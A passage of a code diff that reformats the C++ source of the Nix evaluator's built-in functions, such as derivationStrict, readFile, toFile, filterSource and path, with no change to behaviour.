ignored. */ bool ignoreNulls = false; attr = attrs->find(state.sIgnoreNulls); if (attr != attrs->end()) - ignoreNulls = state.forceBool(*attr->value, pos, "while evaluating the `__ignoreNulls` attribute " "passed to builtins.derivationStrict"); + ignoreNulls = state.forceBool( + *attr->value, + pos, + "while evaluating the `__ignoreNulls` attribute " + "passed to builtins.derivationStrict"); /* Build the derivation expression by processing the attributes. */ Derivation drv; @@ -1259,7 +1338,8 @@ static void derivationStrictInternal( outputs.insert("out"); for (auto & i : attrs->lexicographicOrder(state.symbols)) { - if (i->name == state.sIgnoreNulls) continue; + if (i->name == state.sIgnoreNulls) + continue; auto key = state.symbols[i->name]; vomit("processing attribute '%1%'", key); @@ -1267,13 +1347,14 @@ static void derivationStrictInternal( if (s == "recursive") { // back compat, new name is "nar" ingestionMethod = ContentAddressMethod::Raw::NixArchive; - } else try { - ingestionMethod = ContentAddressMethod::parse(s); - } catch (UsageError &) { - state.error( - "invalid value '%s' for 'outputHashMode' attribute", s - ).atPos(v).debugThrow(); - } + } else + try { + ingestionMethod = ContentAddressMethod::parse(s); + } catch (UsageError &) { + state.error("invalid value '%s' for 'outputHashMode' attribute", s) + .atPos(v) + .debugThrow(); + } if (ingestionMethod == ContentAddressMethod::Raw::Text) experimentalFeatureSettings.require(Xp::DynamicDerivations); if (ingestionMethod == ContentAddressMethod::Raw::Git) @@ -1284,24 +1365,18 @@ static void derivationStrictInternal( outputs.clear(); for (auto & j : ss) { if (outputs.find(j) != outputs.end()) - state.error("duplicate derivation output '%1%'", j) - .atPos(v) - .debugThrow(); + state.error("duplicate derivation output '%1%'", j).atPos(v).debugThrow(); /* !!! Check whether j is a valid attribute name. */ /* Derivations cannot be named ‘drvPath’, because we already have an attribute ‘drvPath’ in the resulting set (see state.sDrvPath). */ if (j == "drvPath") - state.error("invalid derivation output name 'drvPath'") - .atPos(v) - .debugThrow(); + state.error("invalid derivation output name 'drvPath'").atPos(v).debugThrow(); outputs.insert(j); } if (outputs.empty()) - state.error("derivation cannot have an empty set of outputs") - .atPos(v) - .debugThrow(); + state.error("derivation cannot have an empty set of outputs").atPos(v).debugThrow(); }; try { @@ -1311,7 +1386,8 @@ static void derivationStrictInternal( if (ignoreNulls) { state.forceValue(*i->value, pos); - if (i->value->type() == nNull) continue; + if (i->value->type() == nNull) + continue; } if (i->name == state.sContentAddressed && state.forceBool(*i->value, pos, context_below)) { @@ -1329,9 +1405,10 @@ static void derivationStrictInternal( else if (i->name == state.sArgs) { state.forceList(*i->value, pos, context_below); for (auto elem : i->value->listItems()) { - auto s = state.coerceToString(pos, *elem, context, - "while evaluating an element of the argument list", - true).toOwned(); + auto s = state + .coerceToString( + pos, *elem, context, "while evaluating an element of the argument list", true) + .toOwned(); drv.args.push_back(s); } } @@ -1342,7 +1419,8 @@ static void derivationStrictInternal( if (jsonObject) { - if (i->name == state.sStructuredAttrs) continue; + if (i->name == state.sStructuredAttrs) + continue; jsonObject->emplace(key, printValueAsJSON(state, true, *i->value, pos, context)); @@ -1366,36 +1444,51 @@ static void derivationStrictInternal( } if (i->name == state.sAllowedReferences) - warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks..allowedReferences' instead", drvName); + warn( + "In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks..allowedReferences' instead", + drvName); if (i->name == state.sAllowedRequisites) - warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks..allowedRequisites' instead", drvName); + warn( + "In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks..allowedRequisites' instead", + drvName); if (i->name == state.sDisallowedReferences) - warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks..disallowedReferences' instead", drvName); + warn( + "In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks..disallowedReferences' instead", + drvName); if (i->name == state.sDisallowedRequisites) - warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks..disallowedRequisites' instead", drvName); + warn( + "In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks..disallowedRequisites' instead", + drvName); if (i->name == state.sMaxSize) - warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks..maxSize' instead", drvName); + warn( + "In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks..maxSize' instead", + drvName); if (i->name == state.sMaxClosureSize) - warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks..maxClosureSize' instead", drvName); - + warn( + "In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks..maxClosureSize' instead", + drvName); } else { auto s = state.coerceToString(pos, *i->value, context, context_below, true).toOwned(); drv.env.emplace(key, s); - if (i->name == state.sBuilder) drv.builder = std::move(s); - else if (i->name == state.sSystem) drv.platform = std::move(s); - else if (i->name == state.sOutputHash) outputHash = std::move(s); - else if (i->name == state.sOutputHashAlgo) outputHashAlgo = parseHashAlgoOpt(s); - else if (i->name == state.sOutputHashMode) handleHashMode(s); + if (i->name == state.sBuilder) + drv.builder = std::move(s); + else if (i->name == state.sSystem) + drv.platform = std::move(s); + else if (i->name == state.sOutputHash) + outputHash = std::move(s); + else if (i->name == state.sOutputHashAlgo) + outputHashAlgo = parseHashAlgoOpt(s); + else if (i->name == state.sOutputHashMode) + handleHashMode(s); else if (i->name == state.sOutputs) handleOutputs(tokenizeString(s)); } - } } catch (Error & e) { - e.addTrace(state.positions[i->pos], - HintFmt("while evaluating attribute '%1%' of derivation '%2%'", key, drvName)); + e.addTrace( + state.positions[i->pos], HintFmt("while evaluating attribute '%1%' of derivation '%2%'", key, drvName)); throw; } } @@ -1409,53 +1502,49 @@ static void derivationStrictInternal( attributes should be added as dependencies of the resulting derivation. */ for (auto & c : context) { - std::visit(overloaded { - /* Since this allows the builder to gain access to every - path in the dependency graph of the derivation (including - all outputs), all paths in the graph must be added to - this derivation's list of inputs to ensure that they are - available when the builder runs. */ - [&](const NixStringContextElem::DrvDeep & d) { - /* !!! This doesn't work if readOnlyMode is set. */ - StorePathSet refs; - state.store->computeFSClosure(d.drvPath, refs); - for (auto & j : refs) { - drv.inputSrcs.insert(j); - if (j.isDerivation()) { - drv.inputDrvs.map[j].value = state.store->readDerivation(j).outputNames(); + std::visit( + overloaded{ + /* Since this allows the builder to gain access to every + path in the dependency graph of the derivation (including + all outputs), all paths in the graph must be added to + this derivation's list of inputs to ensure that they are + available when the builder runs. */ + [&](const NixStringContextElem::DrvDeep & d) { + /* !!! This doesn't work if readOnlyMode is set. */ + StorePathSet refs; + state.store->computeFSClosure(d.drvPath, refs); + for (auto & j : refs) { + drv.inputSrcs.insert(j); + if (j.isDerivation()) { + drv.inputDrvs.map[j].value = state.store->readDerivation(j).outputNames(); + } } - } + }, + [&](const NixStringContextElem::Built & b) { + drv.inputDrvs.ensureSlot(*b.drvPath).value.insert(b.output); + }, + [&](const NixStringContextElem::Opaque & o) { drv.inputSrcs.insert(o.path); }, }, - [&](const NixStringContextElem::Built & b) { - drv.inputDrvs.ensureSlot(*b.drvPath).value.insert(b.output); - }, - [&](const NixStringContextElem::Opaque & o) { - drv.inputSrcs.insert(o.path); - }, - }, c.raw); + c.raw); } /* Do we have all required attributes? */ if (drv.builder == "") - state.error("required attribute 'builder' missing") - .atPos(v) - .debugThrow(); + state.error("required attribute 'builder' missing").atPos(v).debugThrow(); if (drv.platform == "") - state.error("required attribute 'system' missing") - .atPos(v) - .debugThrow(); + state.error("required attribute 'system' missing").atPos(v).debugThrow(); /* Check whether the derivation name is valid. */ - if (isDerivation(drvName) && - !(ingestionMethod == ContentAddressMethod::Raw::Text && - outputs.size() == 1 && - *(outputs.begin()) == "out")) - { - state.error( - "derivation names are allowed to end in '%s' only if they produce a single derivation file", - drvExtension - ).atPos(v).debugThrow(); + if (isDerivation(drvName) + && !( + ingestionMethod == ContentAddressMethod::Raw::Text && outputs.size() == 1 && *(outputs.begin()) == "out")) { + state + .error( + "derivation names are allowed to end in '%s' only if they produce a single derivation file", + drvExtension) + .atPos(v) + .debugThrow(); } if (outputHash) { @@ -1464,19 +1553,20 @@ static void derivationStrictInternal( Ignore `__contentAddressed` because fixed output derivations are already content addressed. */ if (outputs.size() != 1 || *(outputs.begin()) != "out") - state.error( - "multiple outputs are not supported in fixed-output derivations" - ).atPos(v).debugThrow(); + state.error("multiple outputs are not supported in fixed-output derivations") + .atPos(v) + .debugThrow(); auto h = newHashAllowEmpty(*outputHash, outputHashAlgo); auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::Flat); - DerivationOutput::CAFixed dof { - .ca = ContentAddress { - .method = std::move(method), - .hash = std::move(h), - }, + DerivationOutput::CAFixed dof{ + .ca = + ContentAddress{ + .method = std::move(method), + .hash = std::move(h), + }, }; drv.env["out"] = state.store->printStorePath(dof.path(*state.store, drvName, "out")); @@ -1485,8 +1575,7 @@ static void derivationStrictInternal( else if (contentAddressed || isImpure) { if (contentAddressed && isImpure) - state.error("derivation cannot be both content-addressed and impure") - .atPos(v).debugThrow(); + state.error("derivation cannot be both content-addressed and impure").atPos(v).debugThrow(); auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256); auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::NixArchive); @@ -1494,14 +1583,16 @@ static void derivationStrictInternal( for (auto & i : outputs) { drv.env[i] = hashPlaceholder(i); if (isImpure) - drv.outputs.insert_or_assign(i, - DerivationOutput::Impure { + drv.outputs.insert_or_assign( + i, + DerivationOutput::Impure{ .method = method, .hashAlgo = ha, }); else - drv.outputs.insert_or_assign(i, - DerivationOutput::CAFloating { + drv.outputs.insert_or_assign( + i, + DerivationOutput::CAFloating{ .method = method, .hashAlgo = ha, }); @@ -1517,8 +1608,7 @@ static void derivationStrictInternal( the hash. */ for (auto & i : outputs) { drv.env[i] = ""; - drv.outputs.insert_or_assign(i, - DerivationOutput::Deferred { }); + drv.outputs.insert_or_assign(i, DerivationOutput::Deferred{}); } auto hashModulo = hashDerivationModulo(*state.store, Derivation(drv), true); @@ -1527,15 +1617,12 @@ static void derivationStrictInternal( for (auto & i : outputs) { auto h = get(hashModulo.hashes, i); if (!h) - state.error( - "derivation produced no hash for output '%s'", - i - ).atPos(v).debugThrow(); + state.error("derivation produced no hash for output '%s'", i).atPos(v).debugThrow(); auto outPath = state.store->makeOutputPath(i, *h, drvName); drv.env[i] = state.store->printStorePath(outPath); drv.outputs.insert_or_assign( i, - DerivationOutput::InputAddressed { + DerivationOutput::InputAddressed{ .path = std::move(outPath), }); } @@ -1543,7 +1630,7 @@ static void derivationStrictInternal( ; case DrvHash::Kind::Deferred: for (auto & i : outputs) { - drv.outputs.insert_or_assign(i, DerivationOutput::Deferred {}); + drv.outputs.insert_or_assign(i, DerivationOutput::Deferred{}); } } } @@ -1563,20 +1650,24 @@ static void derivationStrictInternal( } auto result = state.buildBindings(1 + drv.outputs.size()); - result.alloc(state.sDrvPath).mkString(drvPathS, { - NixStringContextElem::DrvDeep { .drvPath = drvPath }, - }); + result.alloc(state.sDrvPath) + .mkString( + drvPathS, + { + NixStringContextElem::DrvDeep{.drvPath = drvPath}, + }); for (auto & i : drv.outputs) mkOutputString(state, result, drvPath, i); v.mkAttrs(result); } -static RegisterPrimOp primop_derivationStrict(PrimOp { - .name = "derivationStrict", - .arity = 1, - .fun = prim_derivationStrict, -}); +static RegisterPrimOp primop_derivationStrict( + PrimOp{ + .name = "derivationStrict", + .arity = 1, + .fun = prim_derivationStrict, + }); /* Return a placeholder string for the specified output that will be substituted by the corresponding output path at build time. For @@ -1585,9 +1676,10 @@ static RegisterPrimOp primop_derivationStrict(PrimOp { time, any occurrence of this string in an derivation attribute will be replaced with the concrete path in the Nix store of the output ‘out’. */ -static void prim_placeholder(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_placeholder(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - v.mkString(hashPlaceholder(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.placeholder"))); + v.mkString(hashPlaceholder( + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.placeholder"))); } static RegisterPrimOp primop_placeholder({ @@ -1605,18 +1697,17 @@ static RegisterPrimOp primop_placeholder({ .fun = prim_placeholder, }); - /************************************************************* * Paths *************************************************************/ - /* Convert the argument to a path and then to a string (confusing, eh?). !!! obsolete? */ -static void prim_toPath(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_toPath(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto path = state.coerceToPath(pos, *args[0], context, "while evaluating the first argument passed to builtins.toPath"); + auto path = + state.coerceToPath(pos, *args[0], context, "while evaluating the first argument passed to builtins.toPath"); v.mkString(path.path.abs(), context); } @@ -1638,28 +1729,28 @@ static RegisterPrimOp primop_toPath({ /nix/store/newhash-oldhash-oldname. In the past, `toPath' had special case behaviour for store paths, but that created weird corner cases. */ -static void prim_storePath(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_storePath(EvalState & state, const PosIdx pos, Value ** args, Value & v) { if (state.settings.pureEval) - state.error( - "'%s' is not allowed in pure evaluation mode", - "builtins.storePath" - ).atPos(pos).debugThrow(); + state.error("'%s' is not allowed in pure evaluation mode", "builtins.storePath") + .atPos(pos) + .debugThrow(); NixStringContext context; - auto path = state.coerceToPath(pos, *args[0], context, "while evaluating the first argument passed to 'builtins.storePath'").path; + auto path = + state.coerceToPath(pos, *args[0], context, "while evaluating the first argument passed to 'builtins.storePath'") + .path; /* Resolve symlinks in ‘path’, unless ‘path’ itself is a symlink directly in the store. The latter condition is necessary so e.g. nix-push does the right thing. */ if (!state.store->isStorePath(path.abs())) path = CanonPath(canonPath(path.abs(), true)); if (!state.store->isInStore(path.abs())) - state.error("path '%1%' is not in the Nix store", path) - .atPos(pos).debugThrow(); + state.error("path '%1%' is not in the Nix store", path).atPos(pos).debugThrow(); auto path2 = state.store->toStorePath(path.abs()).first; if (!settings.readOnlyMode) state.store->ensurePath(path2); - context.insert(NixStringContextElem::Opaque { .path = path2 }); + context.insert(NixStringContextElem::Opaque{.path = path2}); v.mkString(path.abs(), context); } @@ -1683,19 +1774,17 @@ static RegisterPrimOp primop_storePath({ .fun = prim_storePath, }); -static void prim_pathExists(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_pathExists(EvalState & state, const PosIdx pos, Value ** args, Value & v) { try { auto & arg = *args[0]; /* SourcePath doesn't know about trailing slash. */ state.forceValue(arg, pos); - auto mustBeDir = arg.type() == nString - && (arg.string_view().ends_with("/") - || arg.string_view().ends_with("/.")); + auto mustBeDir = + arg.type() == nString && (arg.string_view().ends_with("/") || arg.string_view().ends_with("/.")); - auto symlinkResolution = - mustBeDir ? SymlinkResolution::Full : SymlinkResolution::Ancestors; + auto symlinkResolution = mustBeDir ? SymlinkResolution::Full : SymlinkResolution::Ancestors; auto path = realisePath(state, pos, arg, symlinkResolution); auto st = path.maybeLstat(); @@ -1738,12 +1827,13 @@ static std::string_view legacyBaseNameOf(std::string_view path) /* Return the base name of the given string, i.e., everything following the last slash. */ -static void prim_baseNameOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_baseNameOf(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - v.mkString(legacyBaseNameOf(*state.coerceToString(pos, *args[0], context, - "while evaluating the first argument passed to builtins.baseNameOf", - false, false)), context); + v.mkString( + legacyBaseNameOf(*state.coerceToString( + pos, *args[0], context, "while evaluating the first argument passed to builtins.baseNameOf", false, false)), + context); } static RegisterPrimOp primop_baseNameOf({ @@ -1767,7 +1857,7 @@ static RegisterPrimOp primop_baseNameOf({ /* Return the directory of the given path, i.e., everything before the last slash. Return either a path or a string depending on the type of the argument. */ -static void prim_dirOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_dirOf(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); if (args[0]->type() == nPath) { @@ -1775,9 +1865,8 @@ static void prim_dirOf(EvalState & state, const PosIdx pos, Value * * args, Valu v.mkPath(path.path.isRoot() ? path : path.parent()); } else { NixStringContext context; - auto path = state.coerceToString(pos, *args[0], context, - "while evaluating the first argument passed to 'builtins.dirOf'", - false, false); + auto path = state.coerceToString( + pos, *args[0], context, "while evaluating the first argument passed to 'builtins.dirOf'", false, false); auto dir = dirOf(*path); v.mkString(dir, context); } @@ -1795,15 +1884,14 @@ static RegisterPrimOp primop_dirOf({ }); /* Return the contents of a file as a string. */ -static void prim_readFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_readFile(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto path = realisePath(state, pos, *args[0]); auto s = path.readFile(); if (s.find((char) 0) != std::string::npos) - state.error( - "the contents of the file '%1%' cannot be represented as a Nix string", - path - ).atPos(pos).debugThrow(); + state.error("the contents of the file '%1%' cannot be represented as a Nix string", path) + .atPos(pos) + .debugThrow(); StorePathSet refs; if (state.store->isInStore(path.path.abs())) { try { @@ -1817,9 +1905,10 @@ static void prim_readFile(EvalState & state, const PosIdx pos, Value * * args, V } NixStringContext context; for (auto && p : std::move(refs)) { - context.insert(NixStringContextElem::Opaque { - .path = std::move((StorePath &&)p), - }); + context.insert( + NixStringContextElem::Opaque{ + .path = std::move((StorePath &&) p), + }); } v.mkString(s, context); } @@ -1835,7 +1924,7 @@ static RegisterPrimOp primop_readFile({ /* Find a file in the Nix search path. Used to implement paths, which are desugared to 'findFile __nixPath "x"'. */ -static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_findFile(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.findFile"); @@ -1847,41 +1936,52 @@ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, V std::string prefix; auto i = v2->attrs()->find(state.sPrefix); if (i != v2->attrs()->end()) - prefix = state.forceStringNoCtx(*i->value, pos, "while evaluating the `prefix` attribute of an element of the list passed to builtins.findFile"); + prefix = state.forceStringNoCtx( + *i->value, + pos, + "while evaluating the `prefix` attribute of an element of the list passed to builtins.findFile"); i = getAttr(state, state.sPath, v2->attrs(), "in an element of the __nixPath"); NixStringContext context; - auto path = state.coerceToString(pos, *i->value, context, - "while evaluating the `path` attribute of an element of the list passed to builtins.findFile", - false, false).toOwned(); + auto path = + state + .coerceToString( + pos, + *i->value, + context, + "while evaluating the `path` attribute of an element of the list passed to builtins.findFile", + false, + false) + .toOwned(); try { auto rewrites = state.realiseContext(context); path = rewriteStrings(path, rewrites); } catch (InvalidPathError & e) { - state.error( - "cannot find '%1%', since path '%2%' is not valid", - path, - e.path - ).atPos(pos).debugThrow(); + state.error("cannot find '%1%', since path '%2%' is not valid", path, e.path) + .atPos(pos) + .debugThrow(); } - lookupPath.elements.emplace_back(LookupPath::Elem { - .prefix = LookupPath::Prefix { .s = prefix }, - .path = LookupPath::Path { .s = path }, - }); + lookupPath.elements.emplace_back( + LookupPath::Elem{ + .prefix = LookupPath::Prefix{.s = prefix}, + .path = LookupPath::Path{.s = path}, + }); } - auto path = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.findFile"); + auto path = + state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.findFile"); v.mkPath(state.findFile(lookupPath, path, pos)); } -static RegisterPrimOp primop_findFile(PrimOp { - .name = "__findFile", - .args = {"search-path", "lookup-path"}, - .doc = R"( +static RegisterPrimOp primop_findFile( + PrimOp{ + .name = "__findFile", + .args = {"search-path", "lookup-path"}, + .doc = R"( Find *lookup-path* in *search-path*. [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](#builtins-nixPath): @@ -2009,13 +2109,14 @@ static RegisterPrimOp primop_findFile(PrimOp { > > makes `` refer to a particular branch of the `NixOS/nixpkgs` repository on GitHub. )", - .fun = prim_findFile, -}); + .fun = prim_findFile, + }); /* Return the cryptographic hash of a file in base-16. */ -static void prim_hashFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_hashFile(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto algo = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hashFile"); + auto algo = + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hashFile"); std::optional ha = parseHashAlgo(algo); if (!ha) state.error("unknown hash algorithm '%1%'", algo).atPos(pos).debugThrow(); @@ -2038,14 +2139,13 @@ static RegisterPrimOp primop_hashFile({ static Value * fileTypeToString(EvalState & state, SourceAccessor::Type type) { - return - type == SourceAccessor::Type::tRegular ? &state.vStringRegular : - type == SourceAccessor::Type::tDirectory ? &state.vStringDirectory : - type == SourceAccessor::Type::tSymlink ? &state.vStringSymlink : - &state.vStringUnknown; + return type == SourceAccessor::Type::tRegular ? &state.vStringRegular + : type == SourceAccessor::Type::tDirectory ? &state.vStringDirectory + : type == SourceAccessor::Type::tSymlink ? &state.vStringSymlink + : &state.vStringUnknown; } -static void prim_readFileType(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_readFileType(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto path = realisePath(state, pos, *args[0], std::nullopt); /* Retrieve the directory entry type and stringize it. */ @@ -2063,7 +2163,7 @@ static RegisterPrimOp primop_readFileType({ }); /* Read a directory (without . or ..) */ -static void prim_readDir(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_readDir(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto path = realisePath(state, pos, *args[0]); @@ -2120,16 +2220,18 @@ static RegisterPrimOp primop_readDir({ }); /* Extend single element string context with another output. */ -static void prim_outputOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_outputOf(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - SingleDerivedPath drvPath = state.coerceToSingleDerivedPath(pos, *args[0], "while evaluating the first argument to builtins.outputOf"); + SingleDerivedPath drvPath = + state.coerceToSingleDerivedPath(pos, *args[0], "while evaluating the first argument to builtins.outputOf"); - OutputNameView outputName = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument to builtins.outputOf"); + OutputNameView outputName = + state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument to builtins.outputOf"); state.mkSingleDerivedPathString( - SingleDerivedPath::Built { + SingleDerivedPath::Built{ .drvPath = make_ref(drvPath), - .output = std::string { outputName }, + .output = std::string{outputName}, }, v); } @@ -2168,11 +2270,10 @@ static RegisterPrimOp primop_outputOf({ * Creating files *************************************************************/ - /* Convert the argument (which can be any Nix expression) to an XML representation returned in a string. Not all Nix expressions can be sensibly or completely represented (e.g., functions). */ -static void prim_toXML(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_toXML(EvalState & state, const PosIdx pos, Value ** args, Value & v) { std::ostringstream out; NixStringContext context; @@ -2280,7 +2381,7 @@ static RegisterPrimOp primop_toXML({ /* Convert the argument (which can be any Nix expression) to a JSON string. Not all Nix expressions can be sensibly or completely represented (e.g., functions). */ -static void prim_toJSON(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_toJSON(EvalState & state, const PosIdx pos, Value ** args, Value & v) { std::ostringstream out; NixStringContext context; @@ -2303,12 +2404,12 @@ static RegisterPrimOp primop_toJSON({ }); /* Parse a JSON string to a value. */ -static void prim_fromJSON(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fromJSON(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto s = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.fromJSON"); try { parseJSON(state, s, v); - } catch (JSONParseError &e) { + } catch (JSONParseError & e) { e.addTrace(state.positions[pos], "while decoding a JSON string"); throw; } @@ -2331,11 +2432,13 @@ static RegisterPrimOp primop_fromJSON({ /* Store a string in the Nix store as a source file that can be used as an input by derivations. */ -static void prim_toFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_toFile(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - std::string name(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.toFile")); - std::string contents(state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.toFile")); + std::string name( + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.toFile")); + std::string contents( + state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.toFile")); StorePathSet refs; @@ -2343,23 +2446,33 @@ static void prim_toFile(EvalState & state, const PosIdx pos, Value * * args, Val if (auto p = std::get_if(&c.raw)) refs.insert(p->path); else - state.error( - "files created by %1% may not reference derivations, but %2% references %3%", - "builtins.toFile", - name, - c.to_string() - ).atPos(pos).debugThrow(); + state + .error( + "files created by %1% may not reference derivations, but %2% references %3%", + "builtins.toFile", + name, + c.to_string()) + .atPos(pos) + .debugThrow(); } - auto storePath = settings.readOnlyMode - ? state.store->makeFixedOutputPathFromCA(name, TextInfo { - .hash = hashString(HashAlgorithm::SHA256, contents), - .references = std::move(refs), - }) - : ({ - StringSource s { contents }; - state.store->addToStoreFromDump(s, name, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, state.repair); - }); + auto storePath = settings.readOnlyMode ? state.store->makeFixedOutputPathFromCA( + name, + TextInfo{ + .hash = hashString(HashAlgorithm::SHA256, contents), + .references = std::move(refs), + }) + : ({ + StringSource s{contents}; + state.store->addToStoreFromDump( + s, + name, + FileSerialisationMethod::Flat, + ContentAddressMethod::Raw::Text, + HashAlgorithm::SHA256, + refs, + state.repair); + }); /* Note: we don't need to add `context' to the context of the result, since `storePath' itself has references to the paths @@ -2446,10 +2559,7 @@ static RegisterPrimOp primop_toFile({ .fun = prim_toFile, }); -bool EvalState::callPathFilter( - Value * filterFun, - const SourcePath & path, - PosIdx pos) +bool EvalState::callPathFilter(Value * filterFun, const SourcePath & path, PosIdx pos) { auto st = path.lstat(); @@ -2459,7 +2569,7 @@ bool EvalState::callPathFilter( arg1.mkString(path.path.abs()); // assert that type is not "unknown" - Value * args []{&arg1, fileTypeToString(*this, st.type)}; + Value * args[]{&arg1, fileTypeToString(*this, st.type)}; Value res; callFunction(*filterFun, args, res, pos); @@ -2494,10 +2604,8 @@ static void addPath( std::optional expectedStorePath; if (expectedHash) - expectedStorePath = state.store->makeFixedOutputPathFromCA(name, ContentAddressWithReferences::fromParts( - method, - *expectedHash, - {})); + expectedStorePath = state.store->makeFixedOutputPathFromCA( + name, ContentAddressWithReferences::fromParts(method, *expectedHash, {})); if (!expectedHash || !state.store->isValidPath(*expectedStorePath)) { auto dstPath = fetchToStore( @@ -2509,10 +2617,9 @@ static void addPath( filter.get(), state.repair); if (expectedHash && expectedStorePath != dstPath) - state.error( - "store path mismatch in (possibly filtered) path added from '%s'", - path - ).atPos(pos).debugThrow(); + state.error("store path mismatch in (possibly filtered) path added from '%s'", path) + .atPos(pos) + .debugThrow(); state.allowAndSetStorePathString(dstPath, v); } else state.allowAndSetStorePathString(*expectedStorePath, v); @@ -2522,15 +2629,18 @@ static void addPath( } } - -static void prim_filterSource(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_filterSource(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto path = state.coerceToPath(pos, *args[1], context, + auto path = state.coerceToPath( + pos, + *args[1], + context, "while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'"); state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filterSource"); - addPath(state, pos, path.baseName(), path, args[0], ContentAddressMethod::Raw::NixArchive, std::nullopt, v, context); + addPath( + state, pos, path.baseName(), path, args[0], ContentAddressMethod::Raw::NixArchive, std::nullopt, v, context); } static RegisterPrimOp primop_filterSource({ @@ -2588,7 +2698,7 @@ static RegisterPrimOp primop_filterSource({ .fun = prim_filterSource, }); -static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_path(EvalState & state, const PosIdx pos, Value ** args, Value & v) { std::optional path; std::string name; @@ -2602,27 +2712,33 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value for (auto & attr : *args[0]->attrs()) { auto n = state.symbols[attr.name]; if (n == "path") - path.emplace(state.coerceToPath(attr.pos, *attr.value, context, "while evaluating the 'path' attribute passed to 'builtins.path'")); + path.emplace(state.coerceToPath( + attr.pos, *attr.value, context, "while evaluating the 'path' attribute passed to 'builtins.path'")); else if (attr.name == state.sName) - name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `name` attribute passed to builtins.path"); + name = state.forceStringNoCtx( + *attr.value, attr.pos, "while evaluating the `name` attribute passed to builtins.path"); else if (n == "filter") - state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path"); + state.forceFunction( + *(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path"); else if (n == "recursive") - method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") - ? ContentAddressMethod::Raw::NixArchive - : ContentAddressMethod::Raw::Flat; + method = state.forceBool( + *attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") + ? ContentAddressMethod::Raw::NixArchive + : 